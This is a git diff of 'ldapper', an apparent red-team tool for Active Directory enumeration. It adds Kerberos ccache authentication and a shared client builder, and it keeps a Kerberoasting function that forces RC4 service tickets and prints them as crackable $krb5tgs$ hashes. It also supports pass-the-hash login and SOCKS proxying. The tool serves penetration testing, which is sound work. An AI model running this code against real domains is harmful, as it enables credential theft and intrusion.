diff --git a/Commands/RequestSPN.go b/Commands/RequestSPN.go index 9f5b245..f26442c 100644 --- a/Commands/RequestSPN.go +++ b/Commands/RequestSPN.go @@ -1,91 +1,46 @@ package Commands import ( + "encoding/hex" "fmt" - "strings" - "encoding/hex" - "github.com/jcmturner/gokrb5/v8/config" - "github.com/jcmturner/gokrb5/v8/client" - "github.com/jcmturner/gokrb5/v8/iana/etypeID" - "log" - "os" -) - + "ldapper/Globals" + "log" + "os" -// dont really like this string for the config -// would rather just create a new config and make changes via functions -// would be easier to read -// cant seem to figure out how to add a [realm] though -const ( -libdefault = `[libdefaults] -default_realm = %s -dns_lookup_realm = false -dns_lookup_kdc = false -ticket_lifetime = 24h -renew_lifetime = 5 -forwardable = yes -proxiable = true -default_tkt_enctypes = rc4-hmac -default_tgs_enctypes = rc4-hmac -noaddresses = true -udp_preference_limit=1 -[realms] -%s = { -kdc = %s:88 -default_domain = %s - }` + "github.com/jcmturner/gokrb5/v8/client" + "github.com/jcmturner/gokrb5/v8/iana/etypeID" ) -func RequestSPN(targetUser string, username string, password string, ntlm string, domain string, dc string, socksServer string, socksType int) (spnResult string) { - - var cl *client.Client - var ticket string +func RequestSPN(targetUser string, username string, password string, ntlm string, domain string, dc string, ccache bool, socksServer string, socksType int) (spnResult string) { - // Need domain in uppercase for GOKRB5 Config - domain = strings.ToUpper(domain) + var cl *client.Client + var ticket string + var err error - l := log.New(os.Stderr, "GOKRB5 Client: ", log.Ldate|log.Ltime|log.Lshortfile) + cl = Globals.GetKerberosClient(domain, dc, username, password, ntlm, ccache, socksServer, socksType) - c, err := config.NewFromString(fmt.Sprintf(libdefault, domain, domain, dc, domain)) + l := log.New(os.Stderr, "GOKRB5 Client: ", log.Ldate|log.Ltime|log.Lshortfile) - if err != nil { - l.Fatalf("Error Loading Config: %v\n", err) - } - - // Create a Kerberos client with either password or hash - if password != ""{ - cl = client.NewWithPassword(username, domain, password, c, client.DisablePAFXFAST(true), client.AssumePreAuthentication(false)) - }else if ntlm != ""{ - cl = client.NewWithHash(username, domain, ntlm, c, client.DisablePAFXFAST(true), client.AssumePreAuthentication(false)) - } + err = cl.Login() + if err != nil { + l.Fatalf("Erron on AS_REQ: %v\n", err) + } - // Add socks info to client config if enabled - if socksServer != "" { - cl.Config.Socks.Enabled = true - cl.Config.Socks.Version = socksType - cl.Config.Socks.Server = socksServer - } + tgt, _, err := cl.GetMSPrincipalTicket(targetUser) - err = cl.Login() - if err != nil { - l.Fatalf("Erron on AS_REQ: %v\n", err) - } - - tgt, _, err := cl.GetServiceTicket(targetUser) - - // only printing out RC4 encrypted tickets currently - if err != nil { - l.Printf("Error getting service ticket: %v\n", err) - }else if tgt.EncPart.EType == etypeID.RC4_HMAC { - checksumHex := make([]byte, hex.EncodedLen(len(tgt.EncPart.Cipher[:16]))) - hex.Encode(checksumHex, tgt.EncPart.Cipher[:16]) + // only printing out RC4 encrypted tickets currently + if err != nil { + l.Printf("Error getting service ticket: %v\n", err) + } else if tgt.EncPart.EType == etypeID.RC4_HMAC { + checksumHex := make([]byte, hex.EncodedLen(len(tgt.EncPart.Cipher[:16]))) + hex.Encode(checksumHex, tgt.EncPart.Cipher[:16]) - cipherHex := make([]byte, hex.EncodedLen(len(tgt.EncPart.Cipher[16:]))) - hex.Encode(cipherHex, tgt.EncPart.Cipher[16:]) - ticket = fmt.Sprintf("$krb5tgs$%d$*%s$%s$%s*$%s$%s\n", tgt.EncPart.EType, tgt.SName.NameString[0], tgt.Realm, tgt.SName.NameString[0], checksumHex, cipherHex) - }else if tgt.EncPart.EType != etypeID.RC4_HMAC { - // Don't belive this would happen becuase we only offer rc4 encrpytion based on our config - l.Printf("Invalid encryption type") - } - return ticket + cipherHex := make([]byte, hex.EncodedLen(len(tgt.EncPart.Cipher[16:]))) + hex.Encode(cipherHex, tgt.EncPart.Cipher[16:]) + ticket = fmt.Sprintf("$krb5tgs$%d$*%s$%s$%s*$%s$%s\n", tgt.EncPart.EType, tgt.SName.NameString[0], tgt.Realm, tgt.SName.NameString[0], checksumHex, cipherHex) + } else if tgt.EncPart.EType != etypeID.RC4_HMAC { + // Don't belive this would happen becuase we only offer rc4 encrpytion based on our config + l.Printf("Invalid encryption type") + } + return ticket } diff --git a/Globals/Globals.go b/Globals/Globals.go index 8de2bab..88cd885 100644 --- a/Globals/Globals.go +++ b/Globals/Globals.go @@ -5,13 +5,39 @@ import ( "io" "log" "math" + "net" "os" "strconv" "strings" "text/tabwriter" "time" + "github.com/LeakIX/go-smb2" + "github.com/LeakIX/ntlmssp" "github.com/go-ldap/ldap/v3" + "github.com/jcmturner/gokrb5/v8/client" + "github.com/jcmturner/gokrb5/v8/config" + "github.com/jcmturner/gokrb5/v8/credentials" +) + +const ( + libdefault = `[libdefaults] +default_realm = %s +dns_lookup_realm = false +dns_lookup_kdc = false +ticket_lifetime = 24h +renew_lifetime = 5 +forwardable = yes +proxiable = true +default_tkt_enctypes = rc4-hmac +default_tgs_enctypes = rc4-hmac +noaddresses = true +udp_preference_limit=1 +[realms] +%s = { +kdc = %s:88 +default_domain = %s +}` ) func LdapSearch(baseDN string, query string) *ldap.SearchRequest { @@ -106,3 +132,79 @@ func GetArrayDifference(a, b []string) (diff []string) { return } + +func GetMachineHostname(dc string, proxyDial func(string, string) (net.Conn, error)) string { + var conn net.Conn + var err error + + if proxyDial != nil { + conn, err = proxyDial("tcp", fmt.Sprintf("%s:445", dc)) + if err != nil { + panic(err) + } + } else { + conn, err = net.Dial("tcp", fmt.Sprintf("%s:445", dc)) + if err != nil { + panic(err) + } + } + + defer conn.Close() + + ntlmsspClient, err := ntlmssp.NewClient( + ntlmssp.SetCompatibilityLevel(3), + ntlmssp.SetUserInfo("", ""), + ntlmssp.SetDomain("")) + if err != nil { + panic(err) + } + d := &smb2.Dialer{ + Initiator: &smb2.NTLMSSPInitiator{ + NTLMSSPClient: ntlmsspClient, + }, + } + + s, err := d.Dial(conn) + if err != nil { + log.Println(ntlmsspClient.SessionDetails().TargetInfo.Get(ntlmssp.MsvAvDNSComputerName)) + panic(err) + } + dnsComputerName, _ := ntlmsspClient.SessionDetails().TargetInfo.Get(ntlmssp.MsvAvDNSComputerName) + defer s.Logoff() + + dnsComputerNameString := string(dnsComputerName) + dnsComputerNameString = strings.Replace(dnsComputerNameString, "\x00", "", -1) + + return dnsComputerNameString + +} + +func GetKerberosClient(domain string, dc string, username string, password string, ntlm string, ccacheAuth bool, socksAddress string, socksType int) *client.Client { + + var cl *client.Client + var err error + + domain = strings.ToUpper(domain) + c, _ := config.NewFromString(fmt.Sprintf(libdefault, domain, domain, dc, domain)) + + if ccacheAuth { + ccache, _ := credentials.LoadCCache(os.Getenv("KRB5CCNAME")) + cl, err = client.NewFromCCache(ccache, c) + if err != nil { + log.Fatal(err) + } + } else if password != "" { + cl = client.NewWithPassword(username, domain, password, c, client.DisablePAFXFAST(true), client.AssumePreAuthentication(false)) + } else if ntlm != "" { + cl = client.NewWithHash(username, domain, ntlm, c, client.DisablePAFXFAST(true), client.AssumePreAuthentication(false)) + } + + if socksAddress != "" { + cl.Config.Socks.Enabled = true + cl.Config.Socks.Version = socksType + cl.Config.Socks.Server = socksAddress + } + + return cl + +} diff --git a/README.md b/README.md index 9fd2ea6..ac69aac 100644 --- a/README.md +++ b/README.md @@ -70,6 +70,7 @@ Usage of ./ldapper: Log file -p string Password + -k Use Kerberos authentication -s Bind using LDAPS -socks4 string SOCKS4 Proxy Address (ip:port) @@ -82,6 +83,7 @@ Usage of ./ldapper: Examples: With Password: ./ldapper -u -p -dc -s With Hash: ./ldapper -u -H -dc -s + With Kerberos: ./ldapper -u -k -dc -s ``` # LDAPS Support @@ -106,6 +108,14 @@ Ldapper can also authenticate with a user's NTLM hash. This method can be used w > ./ldapper -u 'hanzo@overwatch.local' -H OOGNKVJB2TRCYLD26H4DVPF3KBP0SG03 -dc 10.10.10.101 -s ``` +## Kerberos + +Ldapper can also authenticate using a CCache file specefied in the KRB5CCNAME enviroment variable with the `-k` flag. + +``` +> ./ldapper -u 'hanzo@overwatch.local' -k -dc 10.10.10.101 -s +``` + # Query Modules ## Net diff --git a/go.mod b/go.mod index d87b175..aae8b9b 100644 --- a/go.mod +++ b/go.mod @@ -3,6 +3,8 @@ module ldapper go 1.17 require ( + github.com/LeakIX/go-smb2 v1.2.0 + github.com/LeakIX/ntlmssp v0.0.0-20220417170740-7da3d6bf7333 github.com/go-ldap/ldap/v3 v3.4.4 github.com/jcmturner/gokrb5/v8 v8.4.3 github.com/mazen160/go-random v0.0.0-20210308102632-d2b501c85c03 @@ -12,14 +14,18 @@ require ( require ( github.com/Azure/go-ntlmssp v0.0.0-20220621081337-cb9428e4ac1e // indirect + github.com/geoffgarside/ber v1.1.0 // indirect github.com/go-asn1-ber/asn1-ber v1.5.4 // indirect github.com/hashicorp/go-uuid v1.0.3 // indirect github.com/jcmturner/aescts/v2 v2.0.0 // indirect github.com/jcmturner/dnsutils/v2 v2.0.0 // indirect github.com/jcmturner/gofork v1.7.6 // indirect + github.com/jcmturner/goidentity/v6 v6.0.1 // indirect github.com/jcmturner/rpc/v2 v2.0.3 // indirect golang.org/x/crypto v0.0.0-20220722155217-630584e8d5aa // indirect golang.org/x/net v0.0.0-20220725212005-46097bf591d3 // indirect ) -replace github.com/jcmturner/gokrb5/v8 => github.com/mfdooom/gokrb5/v8 v8.4.3-0.20220811043259-08c37c0bdf17 +replace github.com/go-ldap/ldap/v3 => github.com/mfdooom/ldap/v3 v3.0.0-20221002192048-71cd843f12e2 + +replace github.com/jcmturner/gokrb5/v8 => github.com/mfdooom/gokrb5/v8 v8.4.3-0.20220930223631-56e96234d4e0 diff --git a/main.go b/main.go index 7dcfb9c..63fc420 100644 --- a/main.go +++ b/main.go @@ -17,6 +17,7 @@ import ( "time" "github.com/go-ldap/ldap/v3" + "github.com/jcmturner/gokrb5/v8/client" "h12.io/socks" ) @@ -24,6 +25,7 @@ type FlagOptions struct { upn string password string ntlm string + ccache bool dc string scheme bool logFile string @@ -37,6 +39,7 @@ func options() *FlagOptions { upn := flag.String("u", "", "Username (username@domain)") password := flag.String("p", "", "Password") ntlm := flag.String("H", "", "Use NTLM authentication") + ccache := flag.Bool("k", false, "Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME)") dc := flag.String("dc", "", "IP address or FQDN of target DC") scheme := flag.Bool("s", false, "Bind using LDAPS") logFile := flag.String("o", "", "Log file") @@ -50,6 +53,7 @@ func options() *FlagOptions { upn: *upn, password: *password, ntlm: *ntlm, + ccache: *ccache, dc: *dc, scheme: *scheme, logFile: *logFile, @@ -78,8 +82,10 @@ func main() { var domain string var username string var target []string + var cl *client.Client var socksType int var socksAddress string + var proxyDial func(string, string) (net.Conn, error) target = strings.Split(opt.upn, "@") @@ -92,11 +98,12 @@ func main() { } // if required flags aren't set, print help - if username == "" || opt.dc == "" || (opt.password == "" && opt.ntlm == "") || opt.help { + if username == "" || opt.dc == "" || (opt.password == "" && opt.ntlm == "" && opt.ccache == false) || opt.help { flag.Usage() fmt.Println("Examples:") fmt.Println("\tWith Password: \t./ldapper -u -p -dc -s") fmt.Println("\tWith Hash: \t./ldapper -u -H -dc -s") + fmt.Println("\tWith Kerberos: \t./ldapper -u -k -dc -s") os.Exit(1) } @@ -124,7 +131,7 @@ func main() { } // check for socks options - proxyDial := socks.DialSocksProxy(socksType, socksAddress) + proxyDial = socks.DialSocksProxy(socksType, socksAddress) if err != nil { log.Fatal("Cannot initialize proxy.") } @@ -181,6 +188,25 @@ func main() { fmt.Println("Bind successful, dropping into shell. ") } } + // if kerberos option set + if opt.ccache == true { + cl = Globals.GetKerberosClient(domain, opt.dc, username, opt.password, opt.ntlm, opt.ccache, socksAddress, socksType) + if err != nil { + log.Fatal(err) + } + + machineName := Globals.GetMachineHostname(opt.dc, proxyDial) + + spnTarget := fmt.Sprintf("ldap/%s", machineName) + + _, err = conn.GSSAPICCBindCCache(cl, spnTarget) + if err != nil { + log.Fatal(err) + } else { + fmt.Println("Kerberos GSSAPI Bind succesful, dropping into shell. ") + } + } + baseDN := Globals.GetBaseDN(opt.dc, conn) // Create impromptu shell for input @@ -351,7 +377,7 @@ func main() { } roastuser := userInput[1] - result := Commands.RequestSPN(roastuser, username, opt.password, opt.ntlm, domain, opt.dc, socksAddress, socksType) + result := Commands.RequestSPN(roastuser, username, opt.password, opt.ntlm, domain, opt.dc, opt.ccache, socksAddress, socksType) Globals.OutputAndLog(opt.logFile, result, 0, 0, 0, false) case "mquota": result := Queries.GetMachineQuota(baseDN, conn)